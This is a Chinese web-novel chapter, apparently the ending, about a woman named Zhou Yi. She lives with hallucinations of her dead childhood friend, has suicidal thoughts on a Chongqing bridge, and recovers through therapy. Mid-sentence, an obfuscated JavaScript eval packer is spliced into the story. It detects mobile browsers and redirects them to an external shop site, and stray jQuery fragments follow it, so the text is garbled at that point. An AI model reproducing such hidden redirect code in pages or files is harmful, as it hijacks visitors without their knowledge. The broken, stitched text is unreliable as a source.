2027年的6月7日，周一。周颐在凌晨三点来到千厮门大桥，本是打算要自杀的。
她最近的日子过得一团糟，哪怕只是坐在家中，眼前都会出现各种各样的幻象，耳边也总是有着滋滋的噪音。为了盖过这噪音，她只好每晚都打开音乐软件放歌，然后把声音开到最大。
更可怕的是，九年前她幻想出来的解思明竟然像鬼一样地缠上了她，赶都赶不走。
高考的前一天，也就是2018年6月6日，解思明失足从天台上掉了下来。在那之前，周颐去小卖部买了面包，还给他带了香草味的冰淇淋。
可她刚拎着东西走到小花园，便有一个人落了下来。那人先是砸到小花园的宣传栏，然后才被弹到地面上。
那天早上，宣传栏刚换上新照片，却没想到当天下午就被砸倒了，上面还留了个坑。
坠楼之人以一种极其扭曲的姿势躺在地上，他没有出很多血，只在脑袋下面流了一小滩暗红，堪堪浸湿了周颐的鞋底。
周颐看着他，一眼就认出了他是解思明。
这是解思明生命中的最后一个夏天，可在其他人眼中，2018年6月6日，不过是无比寻常的一天。
对于解思明的死，同学们众说纷纭。有人说他是高考压力太大了才跳的楼，也有人说他是因为低血糖没站稳才摔了下来，还有人说他是为了救那只总是出现在小花园的野猫。
可无论原因是什么，解思明的这辈子便到此为止了。
周颐不知道自己是怎么回的家。她神情恍惚地在床上枯坐了一夜，总觉得解思明没有死——明天就要高考了，解思明现在应该在房间里睡觉才对，也许只要她去敲一敲对面的门，解思明便会睡眼惺忪地走出来。
这一夜，原本安静的殡仪馆家属楼突然变得吵吵闹闹，对面的门开了又关，不断发出砰砰的响声，似乎有人在进进出出。周颐的母亲周弗去了解思明家，周颐坐在自己的房间，好像能听到什么地方传来断断续续的哭声。
解思明的爸爸一直在打电话，他在楼道中走来走去，可周颐却听不清他在说些什么。
明天就高考了，楼道里这么吵，也不知道解思明能不能睡着——哎呀，今天忘了去看考场了。周颐恍惚地想。
虽然一夜没睡，可到了第二天，周颐还是去参加了高考。走之前，周弗有些担心地看着她。周颐觉得妈妈似乎是想对自己说些什么，可她等了半天都没等到一句话，于是只好摆摆手，匆匆下了楼。
毕竟解思明还在楼下等着呢，她总不好让他在下面站太长时间。
考场离殡仪馆家属楼不远，周颐和解思明一边聊着天，一边往考场走去，路上还遇到了高梨和韦半雪。周颐跟她们打了招呼，还问她们考完之后要不要跟自己和解思明一起去看电影。
只不过也许是因为紧张，她们的表情竟然有些古怪。
明明昨日还很焦虑，可考试当天的周颐竟然只是略微有些亢奋，她像往常一样做完了几乎所有题目。可成绩出来之后，她却比平常少考了几十分。
按她现在的分数，是没办法拿全奖去港中文读本科的，她家也拿不出钱让她自费去香港读书。兜兜转转到最后，她收到了哈工大的录取通知书。
高考考完的那天，学校给解思明所在班级的全体家长开了家长会，通报了解思明的死亡情况。当晚，年级组长还请人来学校做法，那人拿着法器上了天台，在解思明跌落的地方贴了几张符纸。
自那以后，解思明的爸爸依旧住在那阴森森的家属楼里，明明已经没了留在那里的理由，可他却总舍不得搬走。
而在离家属楼不过二十米的殡仪馆中，在看到解思明的尸体后，周颐也逐渐认清了现实——原来解思明是真的死了。
当年那个与她一起在院子里捡纸花和冥币，和她在过家家时轮流扮演尸体的解思明，此时正头北脚南地躺在棺中，身下铺着明黄色的、绣着仙鹤的褥子，盖着绣着暗八仙的大红色被子。
周颐还记得在高中的某节体育课上，解思明因为低血糖被送去了医务室。当时她没有避谶，说了很多不吉利的话。正因如此，她总觉得解思明的死跟她脱不了干系。
不过没关系，现实中的解思明死了，可幻想中的解思明会永远陪着她。
周颐还是像往常一样，买冰淇淋时会买两支，一支巧克力，一支香草，然后再把两支冰淇淋都吃掉，自欺欺人地假装其中一支给了解思明。
正如解思明一直暗恋周颐，周颐也同样喜欢他很多年了。
对于两个互相取暖的孩子来说，喜欢上彼此并不需要那么多理由。
他们同样生活在单亲家庭，贯穿了对方十余年的生命。在周颐眼中，她的生命中最重要的两个人便是妈妈和解思明。解思明的骤然离去，对周颐来说不亚于硬生生地从她心口剜下一块肉来。
于是，解思明死了之后，周颐在脑海里为他重新塑造了灵魂。
在很长一段时间里，周颐与解思明的幻象都处于一个共存的状态。在这种状态下，她在哈工大读书，然后在大三那年去杭州线下面试和实习，再然后去港中文读博。
她将自己变成了两个人，一个是周颐，一个是解思明。她把自己的一部分经历和对世界的感受赋予了幻想中的解思明，例如大三时去杭州，又例如本科毕业后去香港深造。同时，在病情不算太严重的头几年，为了将自己与解思明无法相见这件事合理化，大一入学的时候，她便幻想解思明去港中文读了本科。
虽然周颐从未表现出来，可自从解思明死后，她每分每秒都在承受着痛苦。为解思明举办告别仪式的那天，“十八线”突然下了一场大雨，周颐浑身湿透地站在那个她待了十多年的殡仪馆小院子里，身边是已经哭得泣不成声的周弗。而接下来的九年里，这场雨在周颐心中再也没有停过。
周颐明知道自己的状态不太正常，可她却觉得这样也没什么不好的，在她的幻想中，她甚至和解思明已经结婚了。于是她一直消极治疗，就连医生开的药都从未按时吃过。
博士毕业后，她在重庆找了个教职。入职前，她特地去医院开了个可正常履职的诊断证明，可工作不到一年，她的病情却越来越严重，于是只好请了假。
从那时起，周颐才第一次生出了主动治疗的念头。
周颐的心理医生非常负责，她一直引导周颐为幻想中的解思明编织“剧情”，一切似乎都在走向正轨，周颐也在逐渐摆脱幻想。可直到某一天，幻想中的解思明就像是有了自己的意识，他对着周颐说不想离开。
“解思明”的表情很是痛苦，他抓着周颐的手腕说：“周颐，别赶我走。”
“不是说好毕业后一起去重庆工作吗？现在我们已经在重庆了，这难道不是你想要的吗，你为什么非要让我离开？”
因为这句话，他又一次地将周颐拉进深渊。
两天后的复诊中，周颐的心理医生发现了端倪——在“解思明”的引导下，周颐竟然又恢复到了之前的状态，她不再想着终止幻想，也不再积极治疗，整整一个月的治疗成果，竟然在两天内便尽数付诸东流。
对此，心理医生百思不得其解，只好将其归结为周颐脑内的解思明是一个27岁的成年人，而且是一个在周颐的幻想中经过社会磋磨的成年人，正如周颐赋予他的那段在杭州实习的经历，人都是会变
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845868|211529||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的。在过去的九年间，“解思明”也在周颐的脑海中有了自己的变化。
这种变化让周颐在潜意识里认为，27岁的解思明是不会轻易离开自己的，哪怕他的存在会伤害到她，让她病得越来越重。她为“解思明”赋予的那些新的性格特质，竟然成了剧情合理进行下去的阻碍。
可如果是少年时期的解思明呢？
周颐的心理医生认为，少年时期的解思明在周颐心中一定是干净赤诚的。有限的生命中，解思明给了周颐无限的爱，哪怕在幻想中，他也会全心全意地对她好。而只有周颐觉得剧情这样进行下去是合理的，只有她相信解思明对她的爱意是纯粹且无私的，以至于宁愿牺牲自己都要成全她，幻想中的解思明才会这样去做。
于是，心理医生又开启了为期30天的第二个疗程——引导周颐幻想出第二个解思明。
在周颐的幻想中，少年解思明为了与她复合做了很多无用功，他曾经尝试去联系林山，甚至还试图和高梨她们交流。而在发现27岁解思明的存在对于周颐来说是种伤害后，少年解思明又义无反顾地想让他离开周颐——哪怕在第二个幻象的眼中，27岁的解思明与他本就是同一个人。
因为周颐坚信少年时期的解思明一定会这样做，所以整个剧情推进得很顺利。
在六月七日那天，周颐本是想从桥上跳下去，可少年时期的解思明却突然出现在她的脑海，大声喊着“不要相信他”。只是这一句话，便让周颐打消了自杀的念头。
随后，在周颐的幻想中，他将27岁的解思明推入嘉陵江，然后毫不犹豫地抹杀了自己的存在。
自此，周颐脑海中的幻象全部消失了。
对于治疗结果，周颐的心理医生很是意外，她本以为起码要在三个疗程后周颐才会痊愈，却没想到少年解思明那份纯粹的爱意，在周颐的心中竟然有着如此强大的力量。
……
2027年10月的某一天，周颐通过了心理评估，她向学校提交了销假申请。
她认真地收拾好上班要带的那些东西，然后又给自己重新买了几套衣服，还给周弗打了电话。
然后，在返岗的前一天晚上，她走进了那个专门为解思明留的小房间。自从租下这个房子的那天起，这间屋子便再没人来过，桌面上蒙着一层薄薄的灰，床上铺着素净的床单，被子叠得很是整齐。
周颐环视了一圈，她看到那张解思明的遗像不知为何反扣在书桌上。她将照片扶了起来，疑心是哪个朋友做客时，趁自己不注意偷偷进了这个房间，然后不小心碰倒了相框。
周颐生怕有人动了抽屉里的东西，于是便拉开抽屉，拿出了那本厚厚的相册。可她刚将相册翻开，夹在里面的一张照片却掉了出来。
这张照片是她和解思明在高三拍的。照片中的解思明是周颐记忆中的少年模样，有着柔软的额发和澄澈的双眼。他将小花高高举过头顶，笑得眼睛弯成了月牙。重庆多雾，总不见晴天，对于生活在这里的周颐来说，少年干净的笑容就如同太阳一般，是格外温暖又珍贵的存在。
周颐随手将照片翻了过来，随后瞳孔一缩，本该空白的照片背面竟出现了一行字——
Ycuandoasomas,suenantodoslosríosenmicuerpo.
当你出现，所有的河流在我体内鸣响。
周颐捏着这张照片，微微低着头，垂落的发丝挡住了她的表情，只能看到她紧抿的唇角。在解思明死后的九年又一百四十四天，她终于看到了这句话。
这日，山城雾笼两江，北国飘雪，维港大雨滂沱。
-全文完-